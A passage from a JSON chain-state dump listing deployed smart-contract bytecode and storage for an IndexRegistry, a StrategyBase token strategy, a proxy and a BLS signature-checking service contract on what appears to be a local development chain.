46102bb5760405162461bcd60e51b81526004016102b290611090565b60405180910390fd5b60008267ffffffffffffffff8111156102d6576102d6611103565b6040519080825280602002602001820160405280156102ff578160200160208202803683370190505b50905060005b838110156103b357600085858381811061032157610321611119565b919091013560f81c60008181526003602052604081205491935090915081900361035d5760405162461bcd60e51b81526004016102b29061112f565b6000610368836108f4565b905061037f898461037a60018561119a565b6109f1565b8085858151811061039257610392611119565b63ffffffff9290921660209283029190910190910152505050600101610305565b5090505b9392505050565b60408051808201909152600080825260208201526103dc8383610a7b565b60408051808201909152815463ffffffff168152600190910154602082015290505b92915050565b336001600160a01b037f000000000000000000000000851356ae760d987e095750cceb3bc6014560891c161461044c5760405162461bcd60e51b81526004016102b290611090565b60ff8116600090815260036020526040902054156104c65760405162461bcd60e51b815260206004820152603160248201527f496e64657852656769737472792e63726561746551756f72756d3a2071756f72604482015270756d20616c72656164792065786973747360781b60648201526084016102b2565b60ff166000908152600360209081526040808320815180830190925263ffffffff438116835282840185815282546001810184559286529390942091519101805492518416600160201b0267ffffffffffffffff199093169190931617179055565b604080518082019091526000808252602082015260ff8416600090815260026020908152604080832063ffffffff8088168552925290912080549091841690811061057557610575611119565b600091825260209182902060408051808201909152600290920201805463ffffffff168252600101549181019190915290509392505050565b60408051808201909152600080825260208201526105cb82610ad3565b60408051808201909152905463ffffffff8082168352600160201b90910416602082015292915050565b606060006106038484610b15565b905060008163ffffffff1667ffffffffffffffff81111561062657610626611103565b60405190808252806020026020018201604052801561064f578160200160208202803683370190505b50905060005b8263ffffffff1681101561074b5761066e868287610c4a565b82828151811061068057610680611119565b6020026020010181815250506000801b8282815181106106a2576106a2611119565b6020026020010151036107435760405162461bcd60e51b815260206004820152605d60248201527f496e64657852656769737472792e6765744f70657261746f724c69737441744260448201527f6c6f636b4e756d6265723a206f70657261746f7220646f6573206e6f7420657860648201527f6973742061742074686520676976656e20626c6f636b206e756d626572000000608482015260a4016102b2565b600101610655565b50949350505050565b604080518082019091526000808252602082015260ff83166000908152600360205260409020805463ffffffff841690811061079257610792611119565b60009182526020918290206040805180820190915291015463ffffffff8082168352600160201b90910416918101919091529392505050565b336001600160a01b037f000000000000000000000000851356ae760d987e095750cceb3bc6014560891c16146108135760405162461bcd60e51b81526004016102b290611090565b60005b818110156108cf57600083838381811061083257610832611119565b919091013560f81c60008181526003602052604081205491935090915081900361086e5760405162461bcd60e51b81526004016102b29061112f565b60ff8216600090815260016020908152604080832089845290915281205463ffffffff169061089c84610d21565b905060006108aa8583610d5b565b90508089146108be576108be8186856109f1565b505060019093019250610816915050565b50505050565b60006108e082610ad3565b54600160201b900463ffffffff1692915050565b60008061090083610ad3565b805490915060009061092090600160201b900463ffffffff1660016111b6565b905061092d848383610d85565b60ff841660009081526002602052604081209061094b60018461119a565b63ffffffff168152602081019190915260400160009081205490036103b75760ff841660009081526002602052604081209061098860018461119a565b63ffffffff908116825260208083019390935260409182016000908120835180850190945243831684528385018281528154600180820184559284529590922093516002909502909301805463ffffffff19169490921693909317815591519101559392505050565b60006109fd8383610a7b565b9050610a0b83838387610e23565b60ff83166000818152600160209081526040808320888452825291829020805463ffffffff191663ffffffff871690811790915582519384529083015285917f6ee1e4f4075f3d067176140d34e87874244dd273294c05b2218133e49a2ba6f6910160405180910390a250505050565b60ff8216600090815260026020908152604080832063ffffffff851684529091528120805490610aac6001836111d2565b81548110610abc57610abc611119565b906000526020600020906002020191505092915050565b60ff81166000908152600360205260408120805490610af36001836111d2565b81548110610b0357610b03611119565b90600052602060002001915050919050565b60ff8216600090815260036020526040812054805b8015610bbd5760ff85166000908152600360205260408120610b4d6001846111d2565b81548110610b5d57610b5d611119565b60009182526020918290206040805180820190915291015463ffffffff808216808452600160201b90920481169383019390935290925090861610610baa576020015192506103fe915050565b5080610bb5816111e5565b915050610b2a565b5060405162461bcd60e51b815260206004820152605560248201527f496e64657852656769737472792e5f6f70657261746f72436f756e744174426c60448201527f6f636b4e756d6265723a2071756f72756d20646964206e6f742065786973742060648201527430ba1033b4bb32b710313637b1b590373ab6b132b960591b608482015260a4016102b2565b60ff8316600090815260026020908152604080832063ffffffff86168452909152812054805b8015610d155760ff8616600090815260026020908152604080832063ffffffff891684529091528120610ca46001846111d2565b81548110610cb457610cb4611119565b600091825260209182902060408051808201909152600290920201805463ffffffff9081168084526001909201549383019390935290925090861610610d02576020015192506103b7915050565b5080610d0d816111e5565b915050610c70565b50600095945050505050565b600080610d2d83610ad3565b8054909150600090610d4e90600190600160201b900463ffffffff1661119a565b90506103b7848383610d85565b600080610d688484610a7b565b6001810154909150610d7d8585846000610e23565b949350505050565b815463ffffffff438116911603610dba57815463ffffffff8216600160201b0267ffffffff0000000019909116178255505050565b60ff83166000908152600360209081526040808320815180830190925263ffffffff438116835285811683850190815282546001810184559286529390942091519101805492518416600160201b0267ffffffffffffffff199093169190931617179055505050565b815463ffffffff438116911603610e4057600182018190556108cf565b60ff93909316600090815260026020818152604080842063ffffffff968716855282528084208151808301909252438716825281830197885280546001808201835591865292909420905191909202909101805463ffffffff1916919094161783559251919092015550565b600080600060408486031215610ec157600080fd5b83359250602084013567ffffffffffffffff811115610edf57600080fd5b8401601f81018613610ef057600080fd5b803567ffffffffffffffff811115610f0757600080fd5b866020828401011115610f1957600080fd5b939660209190910195509293505050565b602080825282518282018190526000918401906040840190835b81811015610f6857835163ffffffff16835260209384019390920191600101610f44565b509095945050505050565b803560ff81168114610f8457600080fd5b919050565b803563ffffffff81168114610f8457600080fd5b60008060408385031215610fb057600080fd5b610fb983610f73565b9150610fc760208401610f89565b90509250929050565b600060208284031215610fe257600080fd5b6103b782610f73565b60008060006060848603121561100057600080fd5b61100984610f73565b925061101760208501610f89565b915061102560408501610f89565b90509250925092565b602080825282518282018190526000918401906040840190835b81811015610f68578351835260209384019390920191600101611048565b6000806040838503121561107957600080fd5b61108283610f73565b946020939093013593505050565b6020808252604d908201527f496e64657852656769737472792e6f6e6c795265676973747279436f6f72646960408201527f6e61746f723a2063616c6c6572206973206e6f7420746865207265676973747260608201526c3c9031b7b7b93234b730ba37b960991b608082015260a00190565b634e487b7160e01b600052604160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b60208082526035908201527f496e64657852656769737472792e72656769737465724f70657261746f723a206040820152741c5d5bdc9d5b48191bd95cc81b9bdd08195e1a5cdd605a1b606082015260800190565b634e487b7160e01b600052601160045260246000fd5b63ffffffff82811682821603908111156103fe576103fe611184565b63ffffffff81811683821601908111156103fe576103fe611184565b818103818111156103fe576103fe611184565b6000816111f4576111f4611184565b50600019019056fea264697066735822122080c33ba1d78f6ec0fa73e6d37410d5befe9b68e8bb349d11714fb84c96e0f23f64736f6c634300081c0033","storage":{"0x0000000000000000000000000000000000000000000000000000000000000000":"0x00000000000000000000000000000000000000000000000000000000000000ff"}},"0x7969c5ed335650692bc04293b07f5bf2e7a673c0":{"nonce":1,"balance":"0x0","code":"0x608060405236601057600e6013565b005b600e5b601f601b6021565b6058565b565b600060537f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc546001600160a01b031690565b905090565b3660008037600080366000845af43d6000803e8080156076573d6000f35b3d6000fdfea26469706673582212202dd01612413adc0c572cad69197d98ec728867505ddb51ad7f292ecfc4bfb6a164736f6c634300081c0033","storage":{"0x0000000000000000000000000000000000000000000000000000000000000000":"0x0000000000000000000000000000000000000000000000000000000000000001","0x0000000000000000000000000000000000000000000000000000000000000033":"0x00000000000000000000000014dc79964da2c08b23698b3d3cc7ca32193d9955","0x0000000000000000000000000000000000000000000000000000000000000065":"0x0000000000000000000000000000000000000000000000000000000000000000","0x00000000000000000000000000000000000000000000000000000000000000fb":"0x0000000000000000000000001613beb3b2c4f22ee086b2b38c1476a3ce7f78e8","0x00000000000000000000000000000000000000000000000000000000000000fc":"0x0000000000000000000000009965507d1a55bcc2695c58ba16fb37d819b0a4dc","0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc":"0x0000000000000000000000002bdcc0de6be1f7d2ee689a0342d76f52e8efaba3"}},"0x7a2088a1bfc9d81c55368ae168c2c02570cb814f":{"nonce":1,"balance":"0x0","code":"0x608060405234801561001057600080fd5b506004361061018e5760003560e01c80635c975abb116100de578063ab5921e111610097578063df6fadc111610071578063df6fadc114610366578063e3dae51c14610381578063f3e7387514610394578063fabc1cbc146103a757600080fd5b8063ab5921e11461032b578063ce7c2ac214610340578063d9caed121461035357600080fd5b80635c975abb146102c857806361b01b5d146102d05780637a8b2637146102d9578063886f1195146102ec5780638c871019146103055780638f6a62401461031857600080fd5b80633a98ef391161014b578063485cc95511610125578063485cc9551461026b578063553ca5f81461027e578063595c6a67146102915780635ac86ab71461029957600080fd5b80633a98ef391461023857806343fe08b01461024f57806347e7ef241461025857600080fd5b8063019e27291461019357806310d67a2f146101a857806311c70c9d146101bb578063136439dd146101ce5780632495a599146101e157806339b70e3814610211575b600080fd5b6101a66101a13660046117b9565b6103ba565b005b6101a66101b6366004611803565b61049d565b6101a66101c9366004611820565b610550565b6101a66101dc366004611842565b610605565b6032546101f4906001600160a01b031681565b6040516001600160a01b0390911681526020015b60405180910390f35b6101f47f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c981565b61024160335481565b604051908152602001610208565b61024160645481565b61024161026636600461185b565b610749565b6101a6610279366004611887565b6108ef565b61024161028c366004611803565b6109bd565b6101a66109d1565b6102b86102a73660046118c0565b6001805460ff9092161b9081161490565b6040519015158152602001610208565b600154610241565b61024160655481565b6102416102e7366004611842565b610a9d565b6000546101f4906201000090046001600160a01b031681565b610241610313366004611842565b610ae8565b610241610326366004611803565b610af3565b610333610b01565b6040516102089190611907565b61024161034e366004611803565b610b21565b6101a661036136600461193a565b610bb6565b60645460655460408051928352602083019190915201610208565b61024161038f366004611842565b610d7e565b6102416103a2366004611842565b610db7565b6101a66103b5366004611842565b610dc2565b600054610100900460ff16158080156103da5750600054600160ff909116105b806103f45750303b1580156103f4575060005460ff166001145b6104195760405162461bcd60e51b81526004016104109061197b565b60405180910390fd5b6000805460ff19166001179055801561043c576000805461ff0019166101001790555b6104468585610f1e565b610450838361102b565b8015610496576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b5050505050565b600060029054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156104f0573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061051491906119c9565b6001600160a01b0316336001600160a01b0316146105445760405162461bcd60e51b8152600401610410906119e6565b61054d816110bc565b50565b600060029054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa1580156105a3573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906105c791906119c9565b6001600160a01b0316336001600160a01b0316146105f75760405162461bcd60e51b8152600401610410906119e6565b6106018282610f1e565b5050565b60005460405163237dfb4760e11b8152336004820152620100009091046001600160a01b0316906346fbf68e90602401602060405180830381865afa158015610652573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106769190611a30565b6106925760405162461bcd60e51b815260040161041090611a52565b6001548181161461070b5760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e70617573653a20696e76616c696420617474656d70742060448201527f746f20756e70617573652066756e6374696f6e616c69747900000000000000006064820152608401610410565b600181905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d906020015b60405180910390a250565b60018054600091829181160361079d5760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b6044820152606401610410565b336001600160a01b037f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c916146108155760405162461bcd60e51b815260206004820181905260248201527f5374726174656779426173652e6f6e6c7953747261746567794d616e616765726044820152606401610410565b61081f84846111c1565b60335460006108306103e883611ab0565b905060006103e861083f6112a3565b6108499190611ab0565b905060006108578783611ac3565b9050806108648489611ad6565b61086e9190611aed565b9550856000036108d75760405162461bcd60e51b815260206004820152602e60248201527f5374726174656779426173652e6465706f7369743a206e65775368617265732060448201526d63616e6e6f74206265207a65726f60901b6064820152608401610410565b6108e18685611ab0565b603355505050505092915050565b600054610100900460ff161580801561090f5750600054600160ff909116105b806109295750303b158015610929575060005460ff166001145b6109455760405162461bcd60e51b81526004016104109061197b565b6000805460ff191660011790558015610968576000805461ff0019166101001790555b610972838361102b565b80156109b8576000805461ff0019169055604051600181527f7f26b83ff96e1f2b6a682f133852f6798a09c465da95921460cefb38474024989060200160405180910390a15b505050565b60006109cb6102e783610b21565b92915050565b60005460405163237dfb4760e11b8152336004820152620100009091046001600160a01b0316906346fbf68e90602401602060405180830381865afa158015610a1e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a429190611a30565b610a5e5760405162461bcd60e51b815260040161041090611a52565b600019600181905560405190815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2565b6000806103e8603354610ab09190611ab0565b905060006103e8610abf6112a3565b610ac99190611ab0565b905081610ad68583611ad6565b610ae09190611aed565b949350505050565b60006109cb82610d7e565b60006109cb6103a283610b21565b60606040518060800160405280604d8152602001611b45604d9139905090565b604051633d3f06c960e11b81526001600160a01b0382811660048301523060248301526000917f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c990911690637a7e0d9290604401602060405180830381865afa158015610b92573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109cb9190611b0f565b60018054600290811603610c085760405162461bcd60e51b815260206004820152601960248201527814185d5cd8589b194e881a5b99195e081a5cc81c185d5cd959603a1b6044820152606401610410565b336001600160a01b037f000000000000000000000000dc64a140aa3e981100a9beca4e685f962f0cf6c91614610c805760405162461bcd60e51b815260206004820181905260248201527f5374726174656779426173652e6f6e6c7953747261746567794d616e616765726044820152606401610410565b610c8b848484611315565b60335480831115610d1a5760405162461bcd60e51b815260206004820152604d60248201527f5374726174656779426173652e77697468647261773a20616d6f756e7453686160448201527f726573206d757374206265206c657373207468616e206f7220657175616c207460648201526c6f20746f74616c53686172657360981b608482015260a401610410565b6000610d286103e883611ab0565b905060006103e8610d376112a3565b610d419190611ab0565b9050600082610d508784611ad6565b610d5a9190611aed565b9050610d668685611ac3565b603355610d74888883611398565b5050505050505050565b6000806103e8603354610d919190611ab0565b905060006103e8610da06112a3565b610daa9190611ab0565b905080610ad68386611ad6565b60006109cb82610a9d565b600060029054906101000a90046001600160a01b03166001600160a01b031663eab66d7a6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e15573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e3991906119c9565b6001600160a01b0316336001600160a01b031614610e695760405162461bcd60e51b8152600401610410906119e6565b600154198119600154191614610ee75760405162461bcd60e51b815260206004820152603860248201527f5061757361626c652e756e70617573653a20696e76616c696420617474656d7060448201527f7420746f2070617573652066756e6374696f6e616c69747900000000000000006064820152608401610410565b600181905560405181815233907f3582d1828e26bf56bd801502bc021ac0bc8afb57c826e4986b45593c8fad389c9060200161073e565b60645460408051918252602082018490527ff97ed4e083acac67830025ecbc756d8fe847cdbdca4cee3fe1e128e98b54ecb5910160405180910390a160655460408051918252602082018390527f6ab181e0440bfbf4bacdf2e99674735ce6638005490688c5f994f5399353e452910160405180910390a1808211156110205760405162461bcd60e51b815260206004820152604b60248201527f53747261746567794261736554564c4c696d6974732e5f73657454564c4c696d60448201527f6974733a206d61785065724465706f7369742065786365656473206d6178546f60648201526a74616c4465706f7369747360a81b608482015260a401610410565b606491909155606555565b600054610100900460ff166110965760405162461bcd60e51b815260206004820152602b60248201527f496e697469616c697a61626c653a20636f6e7472616374206973206e6f74206960448201526a6e697469616c697a696e6760a81b6064820152608401610410565b603280546001600160a01b0319166001600160a01b0384161790556106018160006113ac565b6001600160a01b03811661114a5760405162461bcd60e51b815260206004820152604960248201527f5061757361626c652e5f73657450617573657252656769737472793a206e657760448201527f50617573657252656769737472792063616e6e6f7420626520746865207a65726064820152686f206164647265737360b81b608482015260a401610410565b600054604080516001600160a01b03620100009093048316815291831660208301527f6e9fcd539896fca60e8b0f01dd580233e48a6b0f7df013b89ba7f565869acdb6910160405180910390a1600080546001600160a01b03909216620100000262010000600160b01b0319909216919091179055565b60645481111561122b5760405162461bcd60e51b815260206004820152602f60248201527f53747261746567794261736554564c4c696d6974733a206d617820706572206460448201526e195c1bdcda5d08195e18d959591959608a1b6064820152608401610410565b6065546112366112a3565b11156112995760405162461bcd60e51b815260206004820152602c60248201527f53747261746567794261736554564c4c696d6974733a206d6178206465706f7360448201526b1a5d1cc8195e18d95959195960a21b6064820152608401610410565b6106018282611498565b6032546040516370a0823160e01b81523060048201526000916001600160a01b0316906370a0823190602401602060405180830381865afa1580156112ec573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113109190611b0f565b905090565b6032546001600160a01b038381169116146109b85760405162461bcd60e51b815260206004820152603b60248201527f5374726174656779426173652e77697468647261773a2043616e206f6e6c792060448201527f77697468647261772074686520737472617465677920746f6b656e00000000006064820152608401610410565b6109b86001600160a01b0383168483611514565b6000546201000090046001600160a01b03161580156113d357506001600160a01b03821615155b6114555760405162461bcd60e51b815260206004820152604760248201527f5061757361626c652e5f696e697469616c697a655061757365723a205f696e6960448201527f7469616c697a6550617573657228292063616e206f6e6c792062652063616c6c6064820152666564206f6e636560c81b608482015260a401610410565b600181905560405181815233907fab40a374bc51de372200a8bc981af8c9ecdc08dfdaef0bb6e09f88f3c616ef3d9060200160405180910390a2610601826110bc565b6032546001600160a01b038381169116146106015760405162461bcd60e51b815260206004820152603660248201527f5374726174656779426173652e6465706f7369743a2043616e206f6e6c79206460448201527532b837b9b4ba103ab73232b9363cb4b733aa37b5b2b760511b6064820152608401610410565b604080516001600160a01b03848116602483015260448083018590528351808403909101815260649092018352602080830180516001600160e01b031663a9059cbb60e01b17905283518085019094528084527f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c6564908401526109b8928692916000916115a4918516908490611621565b8051909150156109b857808060200190518101906115c29190611a30565b6109b85760405162461bcd60e51b815260206004820152602a60248201527f5361666545524332303a204552433230206f7065726174696f6e20646964206e6044820152691bdd081cdd58d8d9595960b21b6064820152608401610410565b6060611630848460008561163a565b90505b9392505050565b60608247101561169b5760405162461bcd60e51b815260206004820152602660248201527f416464726573733a20696e73756666696369656e742062616c616e636520666f6044820152651c8818d85b1b60d21b6064820152608401610410565b6001600160a01b0385163b6116f25760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a2063616c6c20746f206e6f6e2d636f6e74726163740000006044820152606401610410565b600080866001600160a01b0316858760405161170e9190611b28565b60006040518083038185875af1925050503d806000811461174b576040519150601f19603f3d011682016040523d82523d6000602084013e611750565b606091505b509150915061176082828661176b565b979650505050505050565b6060831561177a575081611633565b82511561178a5782518084602001fd5b8160405162461bcd60e51b81526004016104109190611907565b6001600160a01b038116811461054d57600080fd5b600080600080608085870312156117cf57600080fd5b843593506020850135925060408501356117e8816117a4565b915060608501356117f8816117a4565b939692955090935050565b60006020828403121561181557600080fd5b8135611633816117a4565b6000806040838503121561183357600080fd5b50508035926020909101359150565b60006020828403121561185457600080fd5b5035919050565b6000806040838503121561186e57600080fd5b8235611879816117a4565b946020939093013593505050565b6000806040838503121561189a57600080fd5b82356118a5816117a4565b915060208301356118b5816117a4565b809150509250929050565b6000602082840312156118d257600080fd5b813560ff8116811461163357600080fd5b60005b838110156118fe5781810151838201526020016118e6565b50506000910152565b60208152600082518060208401526119268160408501602087016118e3565b601f01601f19169190910160400192915050565b60008060006060848603121561194f57600080fd5b833561195a816117a4565b9250602084013561196a816117a4565b929592945050506040919091013590565b6020808252602e908201527f496e697469616c697a61626c653a20636f6e747261637420697320616c72656160408201526d191e481a5b9a5d1a585b1a5e995960921b606082015260800190565b6000602082840312156119db57600080fd5b8151611633816117a4565b6020808252602a908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526939903ab73830bab9b2b960b11b606082015260800190565b600060208284031215611a4257600080fd5b8151801515811461163357600080fd5b60208082526028908201527f6d73672e73656e646572206973206e6f74207065726d697373696f6e6564206160408201526739903830bab9b2b960c11b606082015260800190565b634e487b7160e01b600052601160045260246000fd5b808201808211156109cb576109cb611a9a565b818103818111156109cb576109cb611a9a565b80820281158282048414176109cb576109cb611a9a565b600082611b0a57634e487b7160e01b600052601260045260246000fd5b500490565b600060208284031215611b2157600080fd5b5051919050565b60008251611b3a8184602087016118e3565b919091019291505056fe4261736520537472617465677920696d706c656d656e746174696f6e20746f20696e68657269742066726f6d20666f72206d6f726520636f6d706c657820696d706c656d656e746174696f6e73a264697066735822122021b62fe5b5bce3c7900ce940fa79726154511331bde65b6124359a94d004524164736f6c634300081c0033","storage":{"0x0000000000000000000000000000000000000000000000000000000000000000":"0x00000000000000000000000000000000000000000000000000000000000000ff"}},"0x809d550fca64d94bd9f66e60752a544199cfac3d":{"nonce":1,"balance":"0x0","code":"0x6080604052600436106102345760003560e01c806395c6d6041161012e578063df5cf723116100ab578063f9120af61161006f578063f9120af614610794578063fa534dc0146107b4578063fc299dee146107d4578063fce36c7d146107f4578063fd4c3b7c1461081457600080fd5b8063df5cf723146106e8578063e481af9d1461071c578063ea5ca34b14610731578063f2fde38b14610747578063f474b5201461076757600080fd5b8063b099627e116100f2578063b099627e14610611578063b753645e1461067b578063b98d09081461069b578063c0c53b8b146106b5578063d66eaabd146106d557600080fd5b806395c6d604146105715780639926ee7d14610591578063a364f4da146105b1578063a98fb355146105d1578063ab21739a146105f157600080fd5b80634a5bf632116101bc5780636d14a987116101805780636d14a987146104a657806370a08231146104da578063715018a61461051e578063800fb61f146105335780638da5cb5b1461055357600080fd5b80634a5bf632146103a55780634ae07c37146103dd5780635df459461461040b578063683048351461043f5780636b3aa72e1461047357600080fd5b80632e1a7d4d116102035780632e1a7d4d1461030557806333cfb7b7146103255780633bc28c8c14610352578063416c7e5e146103725780634223d5511461039257600080fd5b806306045a911461024a578063137122b51461027f578063171f1d5b146102ae57806318daeeaf146102e557600080fd5b36610245576102433334610834565b005b600080fd5b34801561025657600080fd5b5061026a6102653660046143b0565b6108c9565b60405190151581526020015b60405180910390f35b34801561028b57600080fd5b5061026a61029a366004614451565b60cc54600160ff9092169190911b16151590565b3480156102ba57600080fd5b506102ce6102c936600461452f565b6109c0565b604080519215158352901515602083015201610276565b3480156102f157600080fd5b50610243610300366004614451565b610b4a565b34801561031157600080fd5b50610243610320366004614580565b610b92565b34801561033157600080fd5b50610345610340366004614599565b610c6a565b60405161027691906145b6565b34801561035e57600080fd5b5061024361036d366004614599565b61111d565b34801561037e57600080fd5b5061024361038d366004614605565b611131565b6102436103a0366004614599565b611268565b3480156103b157600080fd5b5060cb546103c5906001600160a01b031681565b6040516001600160a01b039091168152602001610276565b3480156103e957600080fd5b506103fd6103f83660046148fd565b611272565b604051610276929190614998565b34801561041757600080fd5b506103c57f000000000000000000000000998abeb3e57409262ae5b751f60747921b33613e81565b34801561044b57600080fd5b506103c57f00000000000000000000000095401dc811bb5740090279ba06cfa8fcf611377881565b34801561047f57600080fd5b507f0000000000000000000000005fc8d32690cc91d4c39d9d3abcbd16989f8757076103c5565b3480156104b257600080fd5b506103c57f000000000000000000000000851356ae760d987e095750cceb3bc6014560891c81565b3480156104e657600080fd5b506105106104f5366004614599565b6001600160a01b0316600090815260ca602052604090205490565b604051908152602001610276565b34801561052a57600080fd5b506102436121a6565b34801561053f57600080fd5b5061024361054e366004614599565b6121ba565b34801561055f57600080fd5b506033546001600160a01b03166103c5565b34801561057d57600080fd5b5061026a61058c366004614a29565b61225a565b34801561059d57600080fd5b506102436105ac366004614a74565b61227f565b3480156105bd57600080fd5b506102436105cc366004614599565b61234b565b3480156105dd57600080fd5b506102436105ec366004614b2b565b612412565b3480156105fd57600080fd5b5061024361060c366004614b7b565b612466565b34801561061d57600080fd5b5061065961062c366004614580565b60c9602052600090815260409020805460019091015463ffffffff821691640100000000900460ff169083565b6040805163ffffffff9094168452911515602084015290820152606001610276565b34801561068757600080fd5b50610243610696366004614580565b612825565b3480156106a757600080fd5b5060975461026a9060ff1681565b3480156106c157600080fd5b506102436106d0366004614ba2565b612832565b6102436106e3366004614bed565b6129f7565b3480156106f457600080fd5b506103c57f000000000000000000000000cf7ed3acca5a467e9e704c703e8d87f634fb0fc981565b34801561072857600080fd5b50610345612bb1565b34801561073d57600080fd5b5061051060cc5481565b34801561075357600080fd5b50610243610762366004614599565b612f5d565b34801561077357600080fd5b50610510610782366004614599565b60ca6020526000908152604090205481565b3480156107a057600080fd5b506102436107af366004614599565b612fd3565b3480156107c057600080fd5b5061026a6107cf366004614c3f565b612ffd565b3480156107e057600080fd5b506065546103c5906001600160a01b031681565b34801561080057600080fd5b5061024361080f366004614cbf565b613072565b34801561082057600080fd5b5061024361082f366004614451565b613421565b8060000361085d57604051632097692160e11b8152600481018290526024015b60405180910390fd5b6001600160a01b038216600090815260ca602052604081208054839290610885908490614d4a565b90915550506001600160a01b038216600081815260ca60209081526040918290205491519182526000805160206153d2833981519152910160405180910390a25050565b6000806001600160a01b0383166108e157508461090d565b85836040516020016108f4929190614d5d565b6040516020818303038152906040528051906020012090505b600081815260c9602052604081205463ffffffff1690036109325760009150506109b4565b600081815260c96020526040902054640100000000900460ff1661095a5760009150506109b4565b60408051602081018c90529081018a9052606081018990526001600160601b03198816608082015260009060940160408051601f19818403018152919052805160208201209091506109ae87898389613468565b93505050505b98975050505050505050565b60008060007f30644e72e131a029b85045b68181585d2833e84879b9709143e1f593f000000187876000015188602001518860000151600060028110610a0857610a08614d78565b60200201518951600160200201518a60200151600060028110610a2d57610a2d614d78565b60200201518b60200151600160028110610a4957610a49614d78565b602090810291909101518c518d830151604051610aa69a99989796959401988952602089019790975260408801959095526060870193909352608086019190915260a085015260c084015260e08301526101008201526101200190565b6040516020818303038152906040528051906020012060001c610ac99190614d8e565b9050610b3c610ae2610adb8884613480565b8690613511565b610aea6135a6565b610b32610b2385610b1d604080518082018252600080825260209182015281518083019092526001825260029082015290565b90613480565b610b2c8c613666565b90613511565b886201d4c06136f5565b909890975095505050505050565b610b5261390f565b60cc8054600160ff841690811b199091169091556040517f5f52704e8e0190647930ccde0e43e14e89902d7d8c49c5f9e2544029f45ec12a90600090a250565b33600090815260ca6020526040902054811115610be35733600081815260ca602052604090819020549051632e2a182f60e11b81526004810192909252602482018390526044820152606401610854565b33600090815260ca602052604081208054839290610c02908490614db0565b909155505033600081815260ca60209081526040918290205491519182526000805160206153d2833981519152910160405180910390a2604051339082156108fc029083906000818181858888f19350505050158015610c66573d6000803e3d6000fd5b5050565b6040516309aa152760e11b81526001600160a01b0382811660048301526060916000917f000000000000000000000000851356ae760d987e095750cceb3bc6014560891c16906313542a4e90602401602060405180830381865afa158015610cd6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cfa9190614dc3565b60405163871ef04960e01b8152600481018290529091506000906001600160a01b037f000000000000000000000000851356ae760d987e095750cceb3bc6014560891c169063871ef04990602401602060405180830381865afa158015610d65573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d899190614ddc565b90506001600160c01b0381161580610e2357507f000000000000000000000000851356ae760d987e095750cceb3bc6014560891c6001600160a01b0316639aa1653d6040518163ffffffff1660e01b8152600401602060405180830381865afa158015610dfa573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e1e9190614e05565b60ff16155b15610e435760408051600080825260208201909252905b50949350505050565b6000610e57826001600160c01b0316613969565b90506000805b8251811015610f23577f00000000000000000000000095401dc811bb5740090279ba06cfa8fcf61137786001600160a01b0316633ca5a5f5848381518110610ea757610ea7614d78565b01602001516040516001600160e01b031960e084901b16815260f89190911c6004820152602401602060405180830381865afa158015610eeb573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f0f9190614dc3565b610f199083614d4a565b9150600101610e5d565b506000816001600160401b03811115610f3e57610f3e614288565b604051908082528060200260200182016040528015610f67578160200160208202803683370190505b5090506000805b8451811015611110576000858281518110610f8b57610f8b614d78565b0160200151604051633ca5a5f560e01b815260f89190911c6004820181905291506000906001600160a01b037f00000000000000000000000095401dc811bb5740090279ba06cfa8fcf61137781690633ca5a5f590602401602060405180830381865afa158015611000573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110249190614dc3565b905060005b81811015611105576040516356e4026d60e11b815260ff84166004820152602481018290527f00000000000000000000000095401dc811bb5740090279ba06cfa8fcf61137786001600160a01b03169063adc804da906044016040805180830381865afa15801561109e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110c29190614e37565b600001518686815181106110d8576110d8614d78565b6001600160a01b0390921660209283029190910190910152846110fa81614e7a565b955050600101611029565b505050600101610f6e565b5090979650505050505050565b61112561390f565b61112e81613a2b565b50565b7f000000000000000000000000851356ae760d987e095750cceb3bc6014560891c6001600160a01b0316638da5cb5b6040518163ffffffff1660e01b8152600401602060405180830381865afa15801561118f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111b39190614e93565b6001600160a01b0316336001600160a01b03161461125f5760405162461bcd60e51b815260206004820152605c60248201527f424c535369676e6174757265436865636b65722e6f6e6c79436f6f7264696e6160448201527f746f724f776e65723a2063616c6c6572206973206e6f7420746865206f776e6560648201527f72206f6620746865207265676973747279436f6f7264696e61746f7200000000608482015260a401610854565b61112e81613a94565b61112e8134610834565b604080518082019091526060808252602082015260008260400151516040518060400160405280600181526020016000815250511480156112ce57508260a0015151604051806040016040528060018152602001600081525051145b80156112f557508260c0015151604051806040016040528060018152602001600081525051145b801561131c5750826